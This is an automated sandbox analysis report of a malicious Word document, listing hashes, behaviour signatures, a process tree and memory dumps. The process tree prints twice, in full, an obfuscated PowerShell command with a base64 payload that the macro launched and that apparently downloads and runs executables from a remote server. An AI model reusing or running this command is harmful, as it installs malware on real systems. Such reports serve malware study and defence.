Analysis

  • max time kernel
    101s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    20-05-2021 20:23

General

  • Target

    44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354.doc

  • Size

    23KB

  • MD5

    e7a25f77d121b2a3821c3d8b0c47060c

  • SHA1

    d4e3bc63059fca99a3f945195488569cfdb6d816

  • SHA256

    44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354

  • SHA512

    04e567a102106494abb21ba60b65dae52d65c1b13776aa0f1517b9337591a14895a72a8d924d229c3bff76a57f7a34e883d7f7ce42bab431ba4ba1245eb6dbc1

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\44ce9bbea2b67d562f6b2b7941dc55df7049621fe8ffde240686fb8b7bfd4354.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c P^Ow^er^S^HE^Ll -E WwBzAFkAUwB0AGUATQAuAHQARQB4AFQALgBlAE4AQwBPAEQAaQBuAEcAXQA6ADoAdQBOAGkAQwBPAGQARQAuAGcAZQBUAHMAVAByAEkATgBnACgAWwBzAHkAUwB0AEUAbQAuAEMAbwBOAFYAZQBSAHQAXQA6ADoAZgBSAE8AbQBCAEEAcwBlADYANABTAHQAUgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBBAEEAVgBBAEIARABBAEQAYwBBAFIAUQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEARQB3AEEAVABBAEIAZgBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBWAEEAQgBmAEEARABZAEEAYgBBAEIANABBAEMAQQBBAEsAUQBBAE4AQQBBAG8AQQBlAHcAQgBKAEEARwAwAEEAYwBBAEIAdgBBAEgASQBBAFYAQQBBAHQAQQBFADAAQQBUAHcAQgBFAEEASABVAEEAYgBBAEIARgBBAEMAQQBBAFEAZwBCAHAAQQBGAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIAdQBBAEYATQBBAFIAZwBCAEYAQQBIAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAVQBBAEcARQBBAFUAZwBCAFUAQQBDADAAQQBZAGcAQgBKAEEARgBRAEEAYwB3AEIAVQBBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEYATQBBAGIAdwBCADEAQQBGAEkAQQBZAHcAQgBGAEEAQwBBAEEASgBBAEIATQBBAEUAdwBBAFgAdwBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAZABBAEIAcABBAEcANABBAFEAUQBCADAAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAVQBBAEYAOABBAE4AZwBCAHMAQQBIAGcAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEYAUQBBAFgAdwBBADIAQQBHAHcAQQBlAEEAQQA3AEEASAAwAEEARABRAEEASwBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgAxAEEARwA4AEEATgBBAEIAZgBBAEcATQBBAFQAdwBBADkAQQBDAFEAQQBSAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAVQBBAFQAUQBCAHcAQQBDAHMAQQBKAHcAQgBjAEEARwBFAEEAYQBnAEIAQwBBAEgAQQBBAFEAZwBCAFgAQQBGAFEAQQBXAEEAQgBOAEEARgA4AEEAYgB3AEIATwBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAUQBBAEYAUQBBAFEAdwBBADMAQQBFAFUAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAE8AZwBBAHYAQQBDADgAQQBNAFEAQQAzAEEARABrAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATgBRAEEAdwBBAEMAOABBAFoAdwBCADYAQQBIAE0AQQBkAEEAQQB2AEEARgBJAEEAUgBnAEIAUgBBAEQAZwBBAE0AdwBBAHoAQQBEAFEAQQBNAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBIAFUAQQBiAHcAQQAwAEEARgA4AEEAWQB3AEIAUABBAEQAcwBBAEQAUQBBAEsAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAFAAUQBBAGsAQQBHAFUAQQBiAGcAQgBXAEEARABvAEEAVgBBAEIARgBBAEUAMABBAFUAQQBBAHIAQQBDAGMAQQBYAEEAQgB2AEEARgA4AEEAZABBAEIAeABBAEYAOABBAGMAZwBCADYAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEANwBBAEEAMABBAEMAZwBCAFEAQQBGAFEAQQBRAHcAQQAzAEEARQBVAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATQBRAEEAMwBBAEQAawBBAEwAZwBBADAAQQBEAE0AQQBMAGcAQQB4AEEARABRAEEATQBBAEEAdQBBAEQARQBBAE4AUQBBAHcAQQBDADgAQQBaAHcAQgA2AEEASABNAEEAZABBAEEAdgBBAEYAZwBBAE4AZwBCAHIAQQBEAE0AQQBNAHcAQgBxAEEARwBJAEEAVwBBAEIAaABBAEYAVQBBAFUAdwBCAFIAQQBFAGMAQQBhAGcAQgB6AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAE8AdwBBAE4AQQBBAG8AQQBKAEEAQgBQAEEARgA4AEEAVwBRAEIARQBBAEYAUQBBAFAAUQBBAGsAQQBFAFUAQQBUAGcAQgAyAEEARABvAEEAZABBAEIARgBBAEUAMABBAGMAQQBBAHIAQQBDAGMAQQBYAEEAQgByAEEARQB3AEEATQB3AEIAZgBBAEUAWQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATwB3AEEATgBBAEEAbwBBAFUAQQBCAFUAQQBFAE0AQQBOAHcAQgBGAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABBAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHYAQQBHAGMAQQBlAGcAQgB6AEEASABRAEEATAB3AEEAdwBBAEQAZwBBAE4AdwBBADEAQQBEAFUAQQBNAEEAQQA0AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBUAHcAQgBmAEEARgBrAEEAUgBBAEIAVQBBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABJAEUAeAA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POwerSHELl -E WwBzAFkAUwB0AGUATQAuAHQARQB4AFQALgBlAE4AQwBPAEQAaQBuAEcAXQA6ADoAdQBOAGkAQwBPAGQARQAuAGcAZQBUAHMAVAByAEkATgBnACgAWwBzAHkAUwB0AEUAbQAuAEMAbwBOAFYAZQBSAHQAXQA6ADoAZgBSAE8AbQBCAEEAcwBlADYANABTAHQAUgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARgBBAEEAVgBBAEIARABBAEQAYwBBAFIAUQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEARQB3AEEAVABBAEIAZgBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBWAEEAQgBmAEEARABZAEEAYgBBAEIANABBAEMAQQBBAEsAUQBBAE4AQQBBAG8AQQBlAHcAQgBKAEEARwAwAEEAYwBBAEIAdgBBAEgASQBBAFYAQQBBAHQAQQBFADAAQQBUAHcAQgBFAEEASABVAEEAYgBBAEIARgBBAEMAQQBBAFEAZwBCAHAAQQBGAFEAQQBVAHcAQgBVAEEARgBJAEEAUQBRAEIAdQBBAEYATQBBAFIAZwBCAEYAQQBIAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAVQBBAEcARQBBAFUAZwBCAFUAQQBDADAAQQBZAGcAQgBKAEEARgBRAEEAYwB3AEIAVQBBAEgASQBBAFEAUQBCAHUAQQBGAE0AQQBSAGcAQgBGAEEASABJAEEASQBBAEEAdABBAEYATQBBAGIAdwBCADEAQQBGAEkAQQBZAHcAQgBGAEEAQwBBAEEASgBBAEIATQBBAEUAdwBBAFgAdwBBAGcAQQBDADAAQQBSAEEAQgBsAEEARgBNAEEAZABBAEIAcABBAEcANABBAFEAUQBCADAAQQBFAGsAQQBiAHcAQgBPAEEAQwBBAEEASgBBAEIAVQBBAEYAOABBAE4AZwBCAHMAQQBIAGcAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEYAUQBBAFgAdwBBADIAQQBHAHcAQQBlAEEAQQA3AEEASAAwAEEARABRAEEASwBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBKAEEAQgAxAEEARwA4AEEATgBBAEIAZgBBAEcATQBBAFQAdwBBADkAQQBDAFEAQQBSAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAVQBBAFQAUQBCAHcAQQBDAHMAQQBKAHcAQgBjAEEARwBFAEEAYQBnAEIAQwBBAEgAQQBBAFEAZwBCAFgAQQBGAFEAQQBXAEEAQgBOAEEARgA4AEEAYgB3AEIATwBBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEIAUQBBAEYAUQBBAFEAdwBBADMAQQBFAFUAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAE8AZwBBAHYAQQBDADgAQQBNAFEAQQAzAEEARABrAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATgBRAEEAdwBBAEMAOABBAFoAdwBCADYAQQBIAE0AQQBkAEEAQQB2AEEARgBJAEEAUgBnAEIAUgBBAEQAZwBBAE0AdwBBAHoAQQBEAFEAQQBNAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBIAFUAQQBiAHcAQQAwAEEARgA4AEEAWQB3AEIAUABBAEQAcwBBAEQAUQBBAEsAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAFAAUQBBAGsAQQBHAFUAQQBiAGcAQgBXAEEARABvAEEAVgBBAEIARgBBAEUAMABBAFUAQQBBAHIAQQBDAGMAQQBYAEEAQgB2AEEARgA4AEEAZABBAEIAeABBAEYAOABBAGMAZwBCADYAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEANwBBAEEAMABBAEMAZwBCAFEAQQBGAFEAQQBRAHcAQQAzAEEARQBVAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATQBRAEEAMwBBAEQAawBBAEwAZwBBADAAQQBEAE0AQQBMAGcAQQB4AEEARABRAEEATQBBAEEAdQBBAEQARQBBAE4AUQBBAHcAQQBDADgAQQBaAHcAQgA2AEEASABNAEEAZABBAEEAdgBBAEYAZwBBAE4AZwBCAHIAQQBEAE0AQQBNAHcAQgBxAEEARwBJAEEAVwBBAEIAaABBAEYAVQBBAFUAdwBCAFIAQQBFAGMAQQBhAGcAQgB6AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBTAHcAQQAyAEEARABZAEEAUwBRAEIAMQBBAEUATQBBAE8AdwBBAE4AQQBBAG8AQQBKAEEAQgBQAEEARgA4AEEAVwBRAEIARQBBAEYAUQBBAFAAUQBBAGsAQQBFAFUAQQBUAGcAQgAyAEEARABvAEEAZABBAEIARgBBAEUAMABBAGMAQQBBAHIAQQBDAGMAQQBYAEEAQgByAEEARQB3AEEATQB3AEIAZgBBAEUAWQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATwB3AEEATgBBAEEAbwBBAFUAQQBCAFUAQQBFAE0AQQBOAHcAQgBGAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABBAEEATABnAEEAeABBAEQAVQBBAE0AQQBBAHYAQQBHAGMAQQBlAGcAQgB6AEEASABRAEEATAB3AEEAdwBBAEQAZwBBAE4AdwBBADEAQQBEAFUAQQBNAEEAQQA0AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBUAHcAQgBmAEEARgBrAEEAUgBBAEIAVQBBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABJAEUAeAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:464
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1864

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/464-89-0x000000007EF30000-0x000000007EF31000-memory.dmp

      Filesize

      4KB

    • memory/464-63-0x0000000000000000-mapping.dmp

    • memory/464-71-0x0000000001150000-0x0000000001151000-memory.dmp

      Filesize

      4KB

    • memory/464-108-0x0000000006560000-0x0000000006561000-memory.dmp

      Filesize

      4KB

    • memory/464-72-0x0000000005240000-0x0000000005241000-memory.dmp

      Filesize

      4KB

    • memory/464-64-0x0000000075801000-0x0000000075803000-memory.dmp

      Filesize

      8KB

    • memory/464-107-0x0000000006550000-0x0000000006551000-memory.dmp

      Filesize

      4KB

    • memory/464-75-0x0000000005600000-0x0000000005601000-memory.dmp

      Filesize

      4KB

    • memory/464-67-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

      Filesize

      4KB

    • memory/464-68-0x0000000004890000-0x0000000004891000-memory.dmp

      Filesize

      4KB

    • memory/464-69-0x0000000001190000-0x0000000001191000-memory.dmp

      Filesize

      4KB

    • memory/464-70-0x0000000001192000-0x0000000001193000-memory.dmp

      Filesize

      4KB

    • memory/464-93-0x0000000006410000-0x0000000006411000-memory.dmp

      Filesize

      4KB

    • memory/464-91-0x00000000008A0000-0x00000000008A1000-memory.dmp

      Filesize

      4KB

    • memory/464-90-0x00000000062E0000-0x00000000062E1000-memory.dmp

      Filesize

      4KB

    • memory/464-80-0x00000000056B0000-0x00000000056B1000-memory.dmp

      Filesize

      4KB

    • memory/464-81-0x00000000060A0000-0x00000000060A1000-memory.dmp

      Filesize

      4KB

    • memory/464-88-0x00000000062C0000-0x00000000062C1000-memory.dmp

      Filesize

      4KB

    • memory/1568-62-0x0000000000000000-mapping.dmp

    • memory/1656-59-0x00000000726C1000-0x00000000726C4000-memory.dmp

      Filesize

      12KB

    • memory/1656-60-0x0000000070141000-0x0000000070143000-memory.dmp

      Filesize

      8KB

    • memory/1656-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1656-109-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1864-66-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmp

      Filesize

      8KB

    • memory/1864-65-0x0000000000000000-mapping.dmp